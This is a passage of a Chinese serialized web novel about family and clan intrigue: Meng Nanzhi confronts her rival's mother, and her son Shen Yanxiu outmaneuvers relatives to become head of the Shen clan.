若非孟南枝鼻子灵敏,根本闻不出来。
因着林则温曾是孟正德下属的关系,孟南枝未成婚前,逢年过节林祁氏时常到孟府做客,所以孟南枝对她也算了解。
看似体形娇弱,身子骨却很好,从未听谁说她生过病。
而且她家世清白,族家都是文人,自视清高,又以才女自居,并不礼佛。
可她现在身上泛出的檀香,即便因为出门刻意清洗过,也感觉像是每日住在禅房里,已经腌入了骨子里。
与孟南枝记忆里那个不沾烟火气、高傲清冷的林祁氏截然不同。
孟南枝虽然心有疑惑,面上却不显,只是轻轻颔首,算是回应了林祁氏的歉意。
早不出来道歉,晚不出来道歉,等女儿落狱之后,才跑出来道歉。
这诚意,还真是“十足”。
不开口,便是不接受、不原谅。
林祁氏见她如此,眉眼微垂,“南枝,我知你心里有气,可婉柔嫁于镇北侯也是在基于寻不回你的基础上,她若知道你能回来,必然不会与他有所牵扯。”
“说句为老不尊的话,婉柔她或许是有不对的地方,但难道你就没有一丁点错?十年未归,回来便逼镇北侯将婉柔休掉,你有没有想过让她如何自处?”
孟南枝唇角勾出一抹冷笑,果真是谁的母亲向着谁的孩子。
“祁夫人,您是聪慧之人,应该看得明白我为什么非要逼镇北侯休婉柔。怎么说您也是做母亲的人,若您的孩子被刻意教导引坏,您能接受?”
说到这里,孟南枝顿了一下,又轻笑道:“不过说起来,您可能也不在乎,毕竟您的孩子一直也不怎么好。”
既然她都为老不尊了,她又何必给她脸面。
林祁氏闻言,扭头重重地看了孟南枝一眼,眸中虽带恼意,却并未挂在脸上。
她神色依旧柔和而温婉,“南枝,我并无与你争吵之意,只是想让你明白她的苦楚。”
“婉柔她或许在教育子女上有些欠妥,但她绝无害人之心。再说砚修他们有父亲镇北侯在,去年入才侯府的婉柔又能教导几分?”
这话说得就有意思了。
沈砚修他们三个子女的教导,责任全在他们的父亲镇北侯,和作为后娶平妻的林婉柔没有一丁点关系。
瞬间就撇清了林婉柔的责任。
孟南枝目光微冷,嗤笑道:“祁夫人,这些事您说于旁人听听也就算了,说于我听,怕不是想让我笑话您。”
“林婉柔她能把自己的孩子教导得污蔑我清白,并买凶试图杀我,故意挑拨镇北侯他们的父子关系、逼得他们父子反目成仇,又是何等难事?”
“祁夫人,您若是真诚实意地与我道歉,我虽不会接受,但念您是长辈,也会敬您几分。可您若自持身份,想用这番说辞替林婉柔开脱,那可就大错特错了。”
“我孟南枝虽不惹事,但也不怕事,更不会任由他人随意污蔑和欺凌,尤其是欺辱我子女的,我一步都不会退让。”
林祁氏收起脸上略僵的笑意,随即自嘲似的嘴角微弯,“你果真还是老样子,凡事看得通透。”
这么聪慧通透、处事果断的一个人,却是别人家的孩子。
林祁氏何尝
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不知道女儿有错,只是不愿在小辈面前低头罢了。
孟南枝未曾溺水前,与女儿姐妹相称,见她也总是敬着她,她便想用长辈的身份压一压她。
哪想十年不见的孟南枝像完全变了一个模样,根本就不吃这一套。
对她也完全没有了以前的敬意。
想到昨日在牢狱看到女儿的情形,林祁氏将目光飘向远处,看那秋风微凉,河岸两侧发黄的柳叶飘打在桥沿,又轻飘飘地落在水面,泛起一层层涟漪。
片刻后,她才转过身,盯着孟南枝的眼睛,轻声开口,“南枝,筝筝并未买**你对吧?”
说是疑问句,却是肯定句。
孟南枝丝毫不回避她的直视,唇角微微上扬。
“她是否真的买**我,这就要去问您的那位好外孙女陆筝筝或好女儿林婉柔了。”
孟南枝黝黑的瞳孔清澈亮,亮得可以照清程礼氏脸上的纹路。
林祁氏的目光从孟南枝的眼睛落到她的鼻尖,再到她微微上扬的唇角,轻轻地点了两下头。
“我懂了,婉柔她输得不冤。”
言罢,她又淡然地摇头,“南枝,纵使筝筝有错在先,污蔑于你,你也不该下这么重的手,你可知,有些结果并不是你能承受的。”
孟南枝蹙眉,一时不能理解林祁氏说的话。
即便是陆筝筝入狱,后又被劫,这结果有什么是她所不能接受的?
林祁氏没有解释,又自顾说道:“南枝,婉柔想见你,有些话想当面和你说,你若有空,不妨去探望一下她。”
孟南枝没有应答。
林祁氏也没有逼着她答应,说完便微微颔首告辞。
在马车边上等候的沈朝昭轻步跑过来,“母亲,她和您说了什么?”
孟南枝看着她略显苍老却依旧挺得笔直的背影,掩去眸中情绪,轻笑着摇头。
“没什么,我们回去吧。”
回到孟府后,孟南枝直接唤来刘嬷嬷。
“嬷嬷,你可知林婉柔的母亲祁夫人,她是从何时开始礼佛的?”
第237章 此事过后必有重谢
因着对林婉柔的恼恨,刘嬷嬷对她的家事了如指掌。
孟南枝刚一开口,她便想也不想地答道:“景和六年。”
“夫人,老奴记得很清楚,景和六年冬月,小姐七岁生辰那日,说会按时回府给小姐过生辰的侯爷彻夜未归。”
“小姐难过得一夜未睡,抱着知秋的胳膊哭了半晚。老奴第二天就去打听侯爷去了何处,结果打听到他竟然是在外宅陪着林婉柔过了一夜。”
“老奴再细一打听,才知道林婉柔竟是被陆老夫人撵出了陆府,祁夫人带着丫鬟婆子到陆家论理,结果刚出府门就晕了过去。”
“经医师诊治后,祁夫人闭门不出整整三月,紧接着就开始礼佛了。”
说到这里刘嬷嬷顿了顿,似有些不解地说道:“夫人,还有件事很奇怪,祁夫人礼佛以后,与林婉柔和陆筝筝的关系就淡薄了。”
“老奴以前曾听往林府送菜的小贩说,有一次见到林婉柔跪在祁夫人的门前,祁夫人都不开门见她。”
“不过那时老奴没多想,以为是林婉柔和侯爷的**被陆家揭穿,祁夫人觉得面子过不去,才变成这个样子。”
“现在想来,却觉得有些奇怪,林婉柔嫁于侯爷做平妻后,祁夫人和她们这对母女的关系依旧没有多少缓和,也不像是因为侯爷的原因。”
孟南枝闻言陷入沉思,指尖轻轻扣击桌案。
景和六年,她死的第三年,也是陆筝筝父亲死的第三年。
陆妙妙曾在沈家祖祠说陆筝筝的父亲不是陆郎,沈二婶也非常肯定地说陆筝筝与沈卿知并无血缘关系。
原先孟南枝并不在意陆筝筝的生父是谁。
可今天祁夫人的一番话,让孟南枝不得不打起精神,做出一万分的防备。
她对陆筝筝下重手,有什么她不能接受的。
不管是沈卿知、林婉柔,还是林则温。
又或者是和陆筝筝关系一直斩不断的奕王萧临渊。
得罪这些人的后果,孟南枝都曾仔细盘算过。
最多一个奕王,剩下没有一个能打的。
关键奕王现在还有皇后和太子府去牵制,即便想动她,也要深思熟虑地去想一想,输不输得起。
也就陆筝筝的生父,是个未知数和不确定因素了。
想到这里,孟南枝抬眸对刘嬷嬷吩咐道:“你去打听一下,陆筝筝出生前后两年,林婉柔她都去了哪里?做了什么?”
“是,夫人。”刘嬷嬷垂首应下。
至于祁夫人所说林婉柔想见她一事。
孟南枝轻笑,那就让她想着吧。
当她孟南枝是什么,呼之则来,招之则去?
求人也要有求人的样子。
再说她还真没看出祁夫人有多想救林婉柔。
摇了摇头,孟南枝表示并不是很能理解他们家的教育理念和亲子关系。
正沉思间,月芹轻步走入厅堂,小声汇报。
“夫人,钱都尉和百校尉来了。”
孟南枝抬眸,笑盈道:“让他们进来吧。”
历经山城一行,钱飞的皮肤更加黝黑,依旧是常见不变的黑衣劲装,整个人也就牙口是白的。
百万身材依旧强壮,有些风骚的在腰间束了条红色锦带,配上黑衣劲装,略显滑稽。
他们二人一进厅堂,便恭恭敬敬地抱拳行礼,“夫人。”
孟南枝浅笑着请他们坐下,并让月芹、月满端来早就备好的锦盒递给他们。
“钱都尉,百校尉,山城一行多亏有你们相助,砚修才能免于一难,我也不知道你们喜欢什么,特地为你们分别制了两件衣物,望你们莫要嫌弃。”
百万一把接过锦盒,面上露出喜意,“夫人,您真有心,我正缺衣服穿呢。”
言罢,他便把锦盒打开,取出里面的衣裳在自己身上比画。
一件玄青、一件藏蓝,都比他们平常穿得亮眼,还是用得尚好的锦缎。
不禁更加高兴,“真好看,还很合身,夫人,这做得真好。”
而接过锦盒的钱飞,却觉得有些烫手,他有些局促地说道:“夫人,我与百万也是职责所在,奉将军的命令保护世子,当得不这么重的厚礼。”
他深知将军对孟南枝的情谊有多深。
也知道将军怀里那方藏了十几年的手帕。
现在将军还没穿过孟南枝亲制的衣裳,他们就得到了。
他实在是不敢接。
百万听闻钱飞这话却不高兴了,他瞪着眼睛道:“钱飞,这可是夫人为了感谢我
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们专门让人制的,你要是不接岂不辜负了夫人的情谊。”
他当时救沈砚修可是实打实的救,差点真就**,幸好命大才能活着回来。
穿两件衣服怎么了。
孟南枝眸中笑意更甚,“钱督导,百校尉说的没错,只是两件衣物,并不贵重。我本是想亲自送到府上的,没想到正好碰到你们来,这才提前送了出去。”
“若是你们实在不喜,我可以重新换件……”
孟南枝话还没说完,百万就把衣服抱了起来,连带着把钱飞手里的锦盒也抱在了自己怀里。
摆着手说道:“喜欢,夫人,我们喜欢得很。您别听他的,他这人闷骚得很,别看他拒绝得厉害,心里指不定多高兴呢。”
钱飞见状无奈地叹了口气,只得再次拱手道:“多谢夫人。”
孟南枝颔首,“不知你们今日前来?”
钱飞从怀里掏出一本信折,双手递到孟南枝面前。
“夫人,这是将军特地让属下为世子准备的。”
有些话,钱飞没说。
将军交代的是让他亲自交给沈砚修。
但钱飞觉得吧,将军这样太墨迹。
都公开说心悦人家了,还装什么背后深情。
光明正大地表示出来才更容易获得佳人芳心。
而他自认身为将军的心腹,有必要在这件事情上推波助澜一把。
所以他擅自做主越过沈砚修,直接将信折交给了孟南枝。
反正,沈砚修看过信折内容后,也必然不会瞒着他母亲。
让孟南枝多知道点将军的付出,说不定还能接受将军。
钱飞心里如意算盘打得噼啪响,面上却是不显山不露水,一副公事公办的样子。
至于强壮的百万,他还坐在旁边乐呵呵地摸着那两件新制的衣服。
真好,从没穿过这么贵重的衣服。
他就知道一来孟府,准有好事。
没白花两块碎银,缠着钱飞跟来。
孟南枝接过信折,轻轻打开。
目光略过里面一行一行的小字,眸色逐渐凝重。
良久,她轻轻合上信折,看向钱飞和百万。
“你们回去告诉将军,就说他的心意,我与世子收到了,此事过后必有重谢。”
第238章 沈家宗祠议事
念着钱飞和百万是沈砚修的救命恩人,孟南枝非常敬重地亲自将他们送出府。
走到府门时,看到几名士兵正在陆陆续续地从东邻隔壁往外搬东西。
孟南枝眸色微闪,却未作声。
钱飞连忙解释,“夫人,此处宅院因为连日阴雨有些潮湿,再加上将军府已经修缮完毕,所以将军才要属下们搬回将军府。”
“将军府距离此处并不遥远,夫人有事可以派人前去传唤,将军得知必定会第一时间赶来。”
孟南枝微微颔首,面上平静地浅笑道:“将军府既已修缮妥当,搬回去也是应当。将军刚回京想必也有诸多事务要忙,就不用多费心我们这边了。”
“你们回去也代我向将军问好,让他多保重身子。待府中诸事安定,我与世子定当登门致谢。”
言罢,她又对月芹示意安排几个下人,一起过去搬东西。
钱飞见状,只得再次抱拳感谢,“多谢夫人。”
可心中却暗自替将军叹气。
回京那晚将军、太子和沈砚修同时到宫中和圣上汇报山城情况,沈砚修、太子陆续已经出宫,可将军却在宫中一直到了二更才出来。
出宫后将军虽然刻意绕到孟府未作停留,但他回到将军府却是待在书房一夜未眠。
直到今日,才突然和他提及将这方宅院的物品搬回一事。
身为都尉,他当知将军久居这里不是常事。
可也不免替将军感到惋惜,若是早生几年,哪里还有镇北侯什么事。
孟南枝没有一直盯着他们搬东西,交代完月芹便转头回了府院。
“世子还没回来吗?”
月满摇头,“回夫人,还没有。”
又郑重地翻看了一遍信折,孟南枝眉头紧锁。
“去书院寻二公子回来,并让他明天和教授休假,随世子一同参加沈氏宗祠议事。”
“是,夫人。”
月满福身应下。
……
翌日。
天色阴沉,整个沈家宗祠被笼罩在一片沉郁里。
秋风带着凉意,卷着檐角垂落的枯藤碎叶,忽轻忽重地扫过青石板路,发出细碎的“沙沙”声。
沈家族人顶着被卷起的尘土,半挡额头陆续走向宗祠。
祠堂内,十数位族中长辈已经围站在香案两侧,气氛凝重得几乎能拧出水来。
自沈家家主镇北侯沈卿知被圣上押入天牢,已经足足过去了七日。
他们这些沈氏族人也跟着提心吊胆了整整七日。
陆筝筝一直没有被官府找到,圣上龙颜大怒,已经革了好几位守城将军的职。
沈卿知虽然还没有明确被圣上如何责罚,但他们都能感觉圣上有点磨刀割肉的感觉。
这件事拖得越久,圣上怒意就越大。
就算陆筝筝最后被找到,证明了沈卿知的清白,只怕圣上对沈卿知的连坐责罚也不会小。
所以这次多年不曾召开的宗祠议事,他们心里都很清楚,议的到底是何事。
沈老族长在沈二叔的搀扶下柱着手杖,缓慢地走到主位右侧坐下。
堂下众人齐身站起行礼,“族长。”
沈老族长摆手让他们坐下。
见老族长久不开口,三房旁支率先打破沉寂,“族长,人已到齐,可以开始了吧?”
他身着深色素袍,面上不带半分悲戚,反而带着几分急切。
沈老族长斜睨了他一眼,“不急,人还没到齐。”
众人闻言将目光落在他身侧的主位上,互相对视一眼,各怀鬼胎。
那主位,向来是沈家家主所坐之处。
如今镇北侯沈卿知被押入天牢,这主位便成了无主之坐。
但凡有点心思的,都想往上坐一坐。
时间一点点流逝,祠堂内的气氛愈发压抑。
终于,门外传来一阵脚步声,众人齐齐转头望去,只见沈家世子沈砚修携同沈砚珩,缓缓步入祠堂。
沈砚修一袭玄色暗绣云纹锦袍,墨色玉带束腰,衣袂垂落间隐现暗金纹路,沉郁色调将未及弱冠的青涩尽数压去,只留挺拔如松柏的身姿。
他乌发高高盘起束以玉冠,面容清俊却透着沉稳,未柱杖拐的双腿虽然行走缓慢却步伐稳健。
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>与他随行的沈砚珩身着同色暗纹锦袍,额前碎发被高高往后抿起,露出略带稚嫩却已显刚毅的眉眼。
他身形虽较沈砚修稍显单薄,但行走间自有一股灵动与朝气,步伐轻快却不失稳重。
两人步入祠堂,瞬间吸引了所有人的目光。
沈砚修目不斜视地掠过众人,对在坐的沈老族长拱手致意后,直接撂起衣袍在主位上坐下。
而沈砚珩则肃立在他身侧,双目带着警惕地扫过堂下众人。
随着沈砚修的落坐,堂下众人一阵抽气声。
“世子,侯爷虽被押入天牢,可这主位,您这般直接坐下,怕是有些不妥吧。”
三房旁支中,一个瘦高男子站了出来,目光中带着挑衅。
沈砚修神色微动,目光淡淡地扫过那男子,“有何不妥?我沈砚修身为沈家世子,父亲被押,我代父坐这主位,乃是理所应当。”
说到这里,沈砚修的眸中带了几分寒意,“还是说,你觉得自己有资格坐这主位?”
瘦高男子被沈砚修的话一噎,脸色涨得通红。
他虽有心争这主位,但自知身份地位尚且不够,若真与沈砚修硬碰硬,怕是得不偿失。
但真让他就这么被一个稚子压下去,又觉得颜面扫地。
所以他不甘心地说道:“世子所言虽有道理,但沈家规矩,主位之选,需得族中长辈认可,方能服众。如今侯爷虽不在,可这规矩,却也不能轻易坏了。”
瘦高男子话音刚落,便有人附和道:“是啊,砚修,你虽为世子,但此事关乎沈家未来,还需从长计议。”
“更何况侯爷乃是因为平妻之女落的天牢,据我所知,世子你与这平妻之女的关系匪浅,谁知不知道她在狱中被劫你有没有参与?”
“我们沈家可不能因为你们父子,就坏了百年基业。”
此言一出,祠堂内顿时响起一阵窃窃私语。
沈砚修并未因此起身,他面色沉静地扫向说话那人,唇角微微上扬,带着嘲意。
“沈砚齐,你可知无凭无据污蔑本世子是何罪名?”
第239章 妄想做沈家主位
挑衅之人,正是沈砚齐。
他刚及弱冠,五官与沈卿知有两分相似,浓眉凤眼,高鼻薄唇。
在这满是肃穆的祠堂里,他却穿了一身亮眼的湖蓝色绣金线锦袍,腰间束着一条白玉带,整个人显得格外醒目。
被沈砚修指责,他也不恼,反而将身子后仰,自负地回道:“世子莫要以势压我,我若无证据又岂会平白污蔑你?”
“这些年我与父亲虽然远在河州,但对于沈家长远发展的关心,不比在坐的任何一位少。”
“诸位身在京都的长辈,难道就没有听说一点关于世子和侯爷那位平妻之女的传闻?”
他话音刚落,便有人陷入沉思,附和道:“要真深究起来,我确实有听到过一些传闻。”
“好似世子当初和侯爷争吵着要与明家姑娘退婚,便是有了心议的姑娘。这个姑娘,难不成就是那平妻之女陆筝筝?”
众人再次哗然。
前有侯爷为了那平妻之女打开族谱,后有世子想要为那平妻之女提出退婚。
这平妻之女是有何魔力让这对父子做到如此地步。
如今侯爷已经因为此女入狱,若是世子一事再被证实。
那这平妻之女,怕不是想炸了他们沈家的族坟。
而侯爷和世子,如沈砚齐所说,怕不是真想毁了他们沈家的百年基业。
面对众人的质疑,沈砚修不动声色地手指微蜷。
他当初提及退婚一时,从未言明有心悦之人。
还是林婉柔在入孟府见到母亲后,直接把母亲认定为他的心上人。
而他曾经对陆筝筝确实是有些别样情愫,但这点情愫还不足以让他为此提出退婚。
如果母亲没有回来,这种情愫可能会发展到他所不能控制的地步。
但母亲回来后,他却因为看清林婉柔和陆筝筝她们这对母女的真实目的,直接磨灭了那份不该生出的情愫。
按理说这件事不该有人知道,因为哪怕是面对陆筝筝,他都从未当面表明过。
除非有人在刻意传播。
想到这里,沈砚修心里有了计较,他神色冷峻地扫向在坐众人,最后又落回沈砚齐身上。
“沈砚齐,你口口声声说有证据,那本世子倒要听听,你所谓的证据究竟是什么。若只是捕风捉影、以讹传讹之事,今日在这沈家宗祠,本世子定不会轻饶了你。”
一直静观其变的沈老族长与沈二叔对视一眼,暗自点头。
不急不燥,还算稳重。
沈砚齐嘴角微微上扬,露出一抹得意,“世子莫急,我既然敢说,自然是有证据。年初我登门入侯府探望侯爷时,可是曾亲眼看到世子与那陆筝筝坐在廊亭下,卿卿我我,好不亲密。”
他话音还未落地,沈砚珩眼中便闪过狠意,“沈砚齐,有话直说,别加那些莫须有的形容词,陆筝筝以父亲平妻之女居住侯府,我兄长自是把她当作妹妹看待,怎会对她心生情意?”
沈老族长再次默默点头。
兄弟齐心,更是难得。
沈砚齐冷笑一声,“妹妹?当时世子看向陆筝筝的眼神,那可是含情脉脉,满心欢喜,怎么会是妹妹?男人了解男了,世子你既然有心却不敢当,实在是难当大任。”
说到这里,他满是瞧不起似的上下打量着沈砚修,摇了摇头,“就这,竟然还敢妄想坐沈家主位。”
沈砚修面色依旧沉静如水,未因沈砚齐的挑衅而有丝毫慌乱。
“沈砚齐,仅凭你一面之词,便想定我之罪,未免太过儿戏。你所谓亲眼所见,不过是你的主观臆断,并不能证实什么。”
轻飘飘地说完这话后,沈砚修目光沉稳地扫向众人,“众位叔父皆是我族中长辈,历经世事无数,自当明辨是非,切不可仅凭一人之言便妄下论断。”
“我沈砚修行事向来光明磊落,若真与那陆筝筝有私情,又岂会遮遮掩掩?况且陆筝筝出事之时,我身在山城,又怎会在此等紧要关头,做出劫狱之事?”
堂下众人听了沈砚修这番话,不少人微微点头,心中暗自思量。
沈砚珩见状连忙再添一把火,“而且我兄长此次回京,被圣上封从五品
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奉仪郎,若我兄长与此事有所牵扯,圣上又怎会给出如此嘉奖?”
“沈砚齐所言不过是妄图搅乱我沈家宗祠议事,其心可诛。我沈家向来以忠义传家,岂容这等小人在此兴风作浪。”
沈砚珩言罢,便目光如炬地直直盯着沈砚齐。
此言一出,堂下众人又是一阵骚动。
沈砚修竟然被圣上封为从五品奉仪郎,这么大的事,他们为何没有听说?
从五品,那可是从五品啊。
只比现在侯爷的官职低一级。
有人坐不住地站了起来,不确定似的看向沈老族长,“族长,此事可真?”
沈老族长目光威严地扫过众人,轻轻点头,“此事为真。”
他与沈二叔从孟府回来后,一直将此事瞒着众人,就是想看看沈砚修会如此处理族人的刁难。
能不能够沉稳地不受挑衅,能不能在众人质疑之下,依旧保持镇定自若,将沈家世子的风范展现出来。
如今看来,他并未让自己失望。
虽然还有些稚嫩,但只要好好培养,未来必会可期。
堂下众人听到沈老族长确认,看向沈砚修的目光顿时变得不同起来。
才十六岁就能得到圣上如此嘉奖,他们沈家何愁未来不能走得更高。
沈砚齐的脸色却是一阵青白,他没想到沈砚修竟然真的被圣上封了官职,而且还是从五品这样高的品级。
他咬了咬牙,目光阴鸷,不甘心地说道:“即便你被圣上嘉奖,也不能证明你与陆筝筝被劫一案没有干系。”
“等陆筝筝被抓到以后,一旦侯爷被查出与此案有关,作为侯府世子的你又岂会不受到牵连?届时,你这从五品奉仪郎的官职,怕是也保不住,沈家又怎能让一个随时可能被牵连问罪之人坐这主位。”
沈砚修却只是淡淡一笑,神色依旧从容不迫。
“沈砚齐,你如此执着于将我与陆筝筝被劫之事扯上关系,究竟是何居心?”
“莫不是你自己对这沈家主位有所企图,才如此这般不择手段地诋毁于我。”
第240章 沈砚修任沈家家主
沈砚修言罢,目光如剑般直直地射向沈砚齐。
有杀气。
在坐凡是见过世面的族人都不禁噤了声。
世子此次跟随太子出行去山城赈灾,难不成是去过**堆?
又或者是手里沾了人命?
怎么感觉像是真的杀过人。
沈砚齐被沈砚修这凌厉的目光一扫,心中不禁一颤,但面上仍强装镇定。
“世子莫要血口喷人,我不过是为沈家未来着想,就事论事罢了,何来诋毁之说?再说沈家族规对于家主之位一向是贤能者上。”
“若非如此,你父亲身为庶子,如何能坐得侯位。别说是我,便是在坐的叔伯,只要能带领族人走向辉煌,我沈砚齐也会第一个支持。”
只一句话,便想挑起众人对沈砚修的不满与质疑。
众人也似乎才想起来若是按照嫡庶之分,沈砚齐才应该是世子的真正继承者。
“砚齐说得也有道理啊,家主之位,本就应能者居之。”
下坐众人中,一个中年男子低声嘀咕了一句。
虽声音不大,却在这寂静的祠堂内显得格外清晰。
有摇摆不定的人开始跟着低声细语。
沈砚修面色未变,目光沉稳地扫过众人,将他们的反应尽收眼底。
“诸位叔伯。”
沈砚修缓缓开口,声音沉稳有力,“我沈砚修虽年轻,但也深知肩上责任重大。父亲入狱,我身为世子,自当挺身而出,为沈家分忧解难。”
“分忧解难?你准备怎么分忧解难?”沈砚齐鼻间发出一声耻笑。
“待陆筝筝被劫一案了结,你父亲将会因此被连坐清处。重则全族掉脑袋,轻则圣上少不了要剥去我们沈府的荫庇。”
“我们沈氏族人上下百十口人,都要为此付出代价。敢问沈砚修,这忧,你该怎么分?这难,你又该怎么解?”
说到最后,沈砚齐竟是连一点面子都不再顾及,直呼沈砚修的姓名。
原本就因沈卿知入狱而人心惶惶的沈家族人,此刻听了沈砚齐的话,心中更是泛起了层层涟漪,开始交头接耳,议论纷纷。
“砚齐说得不无道理,圣上心思难以揣测,谁也不知道他会下多重的处罚。”
“若是侯爷真的参与此事,那我们沈家就全完了。”
“劫狱啊,那么大的事,只是剥爵都算轻的。”
沈砚修神色不变,他心中明白,沈砚齐这一招,无疑是想借族人之口,逼他让位。
但他又怎会轻易如了沈砚齐的愿。
沈砚修站起身来,目光坚定地环视众人,声音沉稳而有力:“诸位叔伯,我昨日随同族长一起去探望我父亲。”
“我父亲为不拖累沈家诸位叔伯,决定主动请辞沈家家主一位,脱离沈家,这便是他所拟写的‘脱族书’。”
沈砚修言罢,从沈砚珩手中接过刚从他怀里掏出的一抹书卷,缓缓展开。
其上赫然写着“脱族书”三个大字,末尾还落了沈卿知的名字和印章。
“父亲深知此次劫狱之事非同小可,若真牵连到沈家,他一人承担所有罪责,也不愿沈家百年基业毁于一旦。”
“他虽身陷囹圄,却仍心系沈家,这份担当与牺牲,我沈砚修深感自愧不如,但我即为沈家世子,也定会牢记父亲所愿,守护沈家。”
沈砚修将那“脱族书”只在众人面前亮了一眼,便折起来递到沈老族长手里。
沈老族长握着那抹书卷,心中生了笑意。
若是此前沈砚修与沈砚齐的对峙,他打五分。
可这一“脱族书”出来,沈老族长便想给沈砚修打九分了。
别人不清楚,他却是清楚得很。
沈卿知根本就不可能自请脱离沈家,更不会主动辞去家主之位。
这“脱族书”怕不是沈砚修亲自写的。
因为那字迹虽与沈卿知往日笔迹有些相似,但在他看来却莫名带着些许嫩意。
不过此番倒也解了他的难处,不用他主动出面提及将沈卿知剥离沈家一事。
沈砚修此计,即保全了父亲沈卿知的脸面,又遮掩了自己身为人子却倒逼父亲退位的不孝之举。
当真是两其美,妙不可言。
而沈二叔见状却是眼皮子直跳,嘴角抽了抽
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他还记得沈砚珩那个臭小子,当初为了能让他母亲与侯爷和离,特地趁他醉酒时,哄着他在和离书上按了指印一事。
这两兄弟,面上看着一本正经,实则一肚子坏水,腹黑得很。
也真不知道沈家有他们,是幸还是不幸。
沈老族长轻咳一声,将“脱族书”郑重收起,目光威严地扫过众人,缓缓开口。
“侯爷此举,实乃为沈家大局着想,其心可鉴。如今侯爷既已自请脱族,那劫狱之事便与沈家再无干系,诸位也不必再为此事忧心。”
堂下众人听了沈老族长的话,面上的忧虑之色稍减,看向沈砚修的目光中也多了几分敬意。
侯爷能有如此大义,确实值得他们敬重。
世子又年少有为,背靠孟相,未来更是可期。
家主之位,根本没有悬疑。
若要真挑毛病,那就是沈砚修过于稚嫩了些。
毕竟,他才十六岁啊。
一个十六岁的沈家家主。
这要说出去,总感觉有点低人一等。
沈二叔内心吐槽归吐槽,但面上还是力挺他这位大侄子。
他率先站起来,带着无限敬意扬声道:“侯爷如此大义,我等岂能不感念于心?”
“世子,你既已继承侯爷之志,我等自当全力支持你坐这主位,带领沈家共渡难关、走向辉煌。”
老族长也起身跟着说道:“砚修年少有为,心怀大局,实乃沈家之幸。如今侯爷既已自请脱族,沈家上下更应团结一心,共克时艰。”
“家主之位,非砚修莫属,我等定当全力辅佐,助沈家再创辉煌。”
此言一出,堂下众人再次各怀鬼胎地互视一眼。
背靠大树好乘凉,只要能给他们带来利益,谁当家主之位对他们来说都没有影响。
而且一个毛头小子,处事再稳又能稳到哪里去,反而更加方便他们私下行事。
所以,他们不再提出异议,纷纷起身附和。
“恭贺世子任家主之位。”
“恭贺世子任家主之位!”
“恭贺世子任家主之位!!”
第241章 欺我兄长年幼
沈砚齐见状,脸色阴沉得仿佛能滴出水来。
他没想到那个一向自私自利的沈卿知,竟会做出如此决绝之举,将家主之位如此轻易地让出,还赢得了众人的敬重与支持。
更没想到此前在他眼里还稚嫩无比的沈砚修,历经赈灾之行后竟然变得如此稳重,根本就不中他的圈套,还如此巧妙地化解了这场危机。
但他既然来了,便不想如此轻易认输。
沈砚齐强压下心头的怒火,阴阳怪气地说道:“既然世子已承家主之位,便该担起族中要务。证明您有能力守护我们,带领我们走向辉煌才对。”
沈砚修神色从容,目光平静地看向沈砚齐,不紧不慢地说道:“这是自然,我既已接下家主之位,自当尽心尽力为家族谋福祉。”
“只是这守护家族、带领家族走向辉煌并非一朝一夕之事,也并非靠一人之勇猛就能达成。”
说到这里,沈砚修起身恭敬地对着堂下旁支重重地拱手行了一礼,“为了沈家的长远发展,还需各位叔伯齐心协力,共同出谋划策,集众人之智慧,方能成就大事。”
众人见他如此进退有度,更加满意地纷纷点头表示赞同。
沈砚齐见此情景,眸中阴暗地发出一声轻咳。
原三房旁支沈经兵便豁然起身,声音低沉道:“世子,既然你已任家主之位,我这里还真有一件要务需要世子定夺。”
沈砚修点头,“叔伯但说无妨。”
沈经兵从怀里掏出一份泛黄的契约,“这是侯爷曾在两年前与何家签的契约,每年秋季为其提供百石精粮,可今年雨水过盛,田地被淹,收成锐减,怕是难以完成契约之数。”
“如今何家已派人来催要粮食,若是不给,恐生事端,坏了沈家声誉,世子你看这事该如何是好?”
沈砚修接过契约,略一查看,便放置在桌案上。
“沈三叔伯,据本世子所知,今年雨水是盛,但并未影响我们沈家所有田地的收成,只是部分低洼田地受损罢了。”
“而且,我们沈家在各地都有粮仓储备,即便今年收成稍减,也远未到无法履行契约的地步。”
说到此处,沈砚修顿了顿,唇角便勾起一抹冷笑,“沈三叔伯,你如此急着将此事提出,实在是让本世子怀疑你能不能撑得起三房。”
沈经兵面色瞬间变得极为难。
他原本以为沈砚修年轻气盛,会急于表现自己。
要么为其拨银,要么直接与何家起争执。
却没想到他会如此冷静理智和敏锐,还不顾及脸面地直接揭穿他。
但他到底是自持老道,立马一脸担忧地说道:“世子,话虽如此,但今年情况特殊,各地粮仓储备虽有一些,可若都拿去履行这契约,万一后续还有其他变故,我们沈家岂不是要陷入被动?”
沈砚修重重地看了他一眼,眸色深沉,“沈三叔伯,凡事预则立,不预则废。我们沈家立足多年,靠的就是诚信二字。”
“如今契约在先,若我们因一点困难就毁约,那以后还有谁敢与我们沈家合作?至于后续变故,我们可提前做好准备,从其他渠道调配粮食,确保家族无忧。”
沈经兵还想再争辩几句,却被沈砚修强势打断,“沈三叔伯,你身为三房长辈,本应为家族出谋划策、排忧解难,可如今却在这关键时刻提出如此短视之言,实在不该。”
“本世子希望你能以家族利益为重,莫要再被一些私心杂念左右。若有下次,本世子不介意以家主之名换一位能干的三房主事。”
沈经兵被说得满脸通红,垂头退回自己的位置。
他可以在沈砚齐的诱惑下给新任家主制造点小麻烦,但真涉及自身利益,他却是不敢再多说了。
毕竟三房能干的不只他一个,谁知道真惹恼了世子,会不会真把他给撤了。
沈砚修见他主动退下,鼻间微哼,目光沉稳地扫下堂下众人,“今日我们沈家各支也算是难得齐聚一堂,诸位叔伯若有难处可以一并
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提出,本世子定会竭尽全力,与大家共渡难关。”
堂下众人面面相觑,一时竟无人敢先开口。
沈砚齐眸中再次闪过阴霾,下巴微微朝四房旁支抬了一下。
片刻后,四房旁支的沈经武缓缓起身,他身材魁梧,面容憨厚,此时却带着几分犹豫之色。
“世子,我们四房今年在生意上遇到些麻烦。前些日子与外地的商队合作,本想着能大赚一笔,可谁料那商队半路遭遇山匪,货物被劫了大半。”
“如今我们不仅没赚到钱,还倒贴进去不少本钱,后续的生意也受到了极大影响。不知世子能否为我们四房拨些银钱,好让我们周转资金。”
沈砚修重重地看了他一眼,“沈四叔伯,本世子给你一次机会,你确定货物被劫,要我与你拨些银钱?”
听闻这话,一直默不作声的沈老族长心中一突,抬目看向沈经武。
这件事他知道,此前也同意了四房的提议,已经在拨银申请书上签了字,只差送到侯府沈卿知面前。
奈何恰好遇到沈卿知被押入天牢,此事才有所耽搁。
但此时听沈砚修的意思,难道另有隐情?
